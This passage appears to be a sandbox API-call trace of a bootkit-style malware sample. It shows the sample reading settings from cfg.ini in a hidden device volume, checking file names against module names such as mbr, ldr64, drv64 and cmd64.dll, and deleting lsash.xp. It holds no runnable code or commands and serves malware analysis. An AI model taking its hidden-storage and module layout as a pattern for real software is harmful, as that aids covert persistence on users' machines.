(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.378] KeEnterCriticalRegion () [0118.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] KeLeaveCriticalRegion () [0118.378] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.378] KeEnterCriticalRegion () [0118.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.378] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfd50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] KeLeaveCriticalRegion () [0118.378] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.378] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.378] KeEnterCriticalRegion () [0118.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] ExFreePoolWithTag (P=0xfffffa8003bdfc90, Tag=0x0) [0118.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.378] KeLeaveCriticalRegion () [0118.378] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.378] ReleaseMutex (hMutex=0xf0) returned 1 [0118.378] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.378] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.378] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.378] KeEnterCriticalRegion () [0118.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.379] IdePortDispatch () returned 0x103 [0118.379] KeWaitForMutexObject () returned 0x0 [0118.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.379] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.379] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385cf10 [0118.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.379] KeLeaveCriticalRegion () [0118.379] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.379] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.379] KeEnterCriticalRegion () [0118.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.379] KeLeaveCriticalRegion () [0118.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.379] KeEnterCriticalRegion () [0118.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.379] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.379] IdePortDispatch () returned 0x103 [0118.379] KeWaitForMutexObject () returned 0x0 [0118.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.380] KeLeaveCriticalRegion () [0118.380] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.380] KeEnterCriticalRegion () [0118.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc8000 [0118.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.380] IdePortDispatch () returned 0x103 [0118.380] KeWaitForMutexObject () returned 0x0 [0118.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.380] IdePortDispatch () returned 0x103 [0118.380] KeWaitForMutexObject () returned 0x0 [0118.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.380] KeLeaveCriticalRegion () [0118.380] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.381] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.381] KeEnterCriticalRegion () [0118.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] KeLeaveCriticalRegion () [0118.381] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.381] KeEnterCriticalRegion () [0118.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.381] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] KeLeaveCriticalRegion () [0118.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.381] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.381] KeEnterCriticalRegion () [0118.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] ExFreePoolWithTag (P=0xfffffa800385cf10, Tag=0x0) [0118.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.381] KeLeaveCriticalRegion () [0118.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.381] ReleaseMutex (hMutex=0xf0) returned 1 [0118.381] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.381] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.381] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.381] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.381] KeEnterCriticalRegion () [0118.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.382] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.382] IdePortDispatch () returned 0x103 [0118.382] KeWaitForMutexObject () returned 0x0 [0118.382] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.382] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.382] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.382] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.382] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.382] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.382] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.382] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.382] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.382] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.382] KeLeaveCriticalRegion () [0118.382] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.382] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.382] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.382] KeEnterCriticalRegion () [0118.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.382] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.382] IdePortDispatch () returned 0x103 [0118.383] KeWaitForMutexObject () returned 0x0 [0118.383] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.383] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.383] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.383] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.383] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.383] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.383] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.383] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.383] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.383] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.383] KeLeaveCriticalRegion () [0118.383] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.383] ReleaseMutex (hMutex=0x100) returned 1 [0118.383] Sleep (dwMilliseconds=0x2bf20) [0118.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69c2bab0, dwHighDateTime=0x1d24fa4)) [0118.390] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.390] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.390] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.390] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.390] KeEnterCriticalRegion () [0118.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.390] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.390] IdePortDispatch () returned 0x103 [0118.390] KeWaitForMutexObject () returned 0x0 [0118.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.390] KeLeaveCriticalRegion () [0118.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.390] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.390] KeEnterCriticalRegion () [0118.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.391] KeLeaveCriticalRegion () [0118.391] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.391] KeEnterCriticalRegion () [0118.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.391] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.391] IdePortDispatch () returned 0x103 [0118.391] KeWaitForMutexObject () returned 0x0 [0118.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.391] KeLeaveCriticalRegion () [0118.391] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.391] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.391] KeEnterCriticalRegion () [0118.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccb000 [0118.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.391] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.391] IdePortDispatch () returned 0x103 [0118.391] KeWaitForMutexObject () returned 0x0 [0118.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.392] IdePortDispatch () returned 0x103 [0118.392] KeWaitForMutexObject () returned 0x0 [0118.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.392] KeLeaveCriticalRegion () [0118.392] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.392] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.392] KeEnterCriticalRegion () [0118.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.392] KeLeaveCriticalRegion () [0118.392] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.392] KeEnterCriticalRegion () [0118.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.392] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.392] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] KeLeaveCriticalRegion () [0118.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.393] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.393] KeEnterCriticalRegion () [0118.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] KeLeaveCriticalRegion () [0118.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.393] ReleaseMutex (hMutex=0xf0) returned 1 [0118.393] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.393] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.393] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.393] KeEnterCriticalRegion () [0118.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.393] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.393] IdePortDispatch () returned 0x103 [0118.393] KeWaitForMutexObject () returned 0x0 [0118.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.393] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.393] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.393] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.393] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.393] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d08b0 [0118.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] KeLeaveCriticalRegion () [0118.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.393] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.393] KeEnterCriticalRegion () [0118.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.393] KeLeaveCriticalRegion () [0118.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: 